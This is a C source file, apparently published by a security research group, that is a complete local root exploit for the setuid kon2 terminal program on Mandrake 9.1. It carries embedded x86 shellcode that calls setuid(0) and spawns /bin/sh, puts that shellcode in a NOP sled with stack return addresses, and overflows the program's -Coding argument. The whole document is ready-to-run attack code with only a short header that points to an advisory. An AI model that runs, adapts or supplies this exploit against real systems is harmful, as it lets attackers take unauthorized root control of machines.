/********************************************************
*	Tripbit Security Research Group / www.tripbit.org
*
*	inpact:	local root exploit for kon2-0.3.9b-1
*	author:	posidron [posidron_at_tripbit_dot_org]
*
*	advisory:
*	http://www.mandrakesecure.net/en/advisories/advisory.php?name=MDKSA-2003:064
*
*	-rws--xr-x 1 root root 46584 Feb 22 2002 kon*
*
*	tested on: Mandrake 9.1 <offset = 360>
*
********************************************************/

#include <stdio.h>
#include <stdlib.h>

#define DEFAULT_BUFFER_SIZE 1000
#define DEFAULT_OFFSET         0
#define NOP                 0x90

char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\xb0\x17\xcd\x80\x31\xc0\x50"
                   "\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x8d"
                   "\x54\x24\x08\x50\x53\x8d\x0c\x24\xb0\x0b\xcd\x80\x31"
                   "\xc0\xb0\x01\xcd\x80";


unsigned long get_stack_pointer(void)
{
    __asm__("movl %esp, %eax");
}


int main(int argc, char *argv[])
{
    char *buffer, *pointer;
    int buffer_size = DEFAULT_BUFFER_SIZE, offset = DEFAULT_OFFSET, i;
    long address, *address_pointer;

    fprintf(stdout, "kon2-0.3.9b-r1 local root exploit by posidron\n");

    if(argc > 1) offset = atoi(argv[1]);

    if(!(buffer = malloc(buffer_size)))
    {
        fprintf(stderr, "can't allocate memory!\n");
        exit(0);
    }

    (char *)address = get_stack_pointer() - offset;
    fprintf(stdout, "jumping to address: 0x%x\n", address);

    pointer = buffer;
    address_pointer = (long *)pointer;

    for(i = 0; i < buffer_size; i+= 4)
    {
        (int *)*(address_pointer++) = address;
    }

    for(i = 0; i < buffer_size / 2; i++)
    {
        buffer[i] = NOP;
    }

    pointer = buffer + ((buffer_size / 2) - (strlen(shellcode) / 2));

    for(i = 0; i < strlen(shellcode); i++)
    {
        *(pointer++) = shellcode[i];
    }

    buffer[buffer_size - 1] = '\0';

    if(execl("/usr/bin/kon", "kon", "-Coding", buffer, NULL) == -1)
    {
        fprintf(stderr, "unable to spawn shell\n");
        exit(0);
    }

    return 0;
}
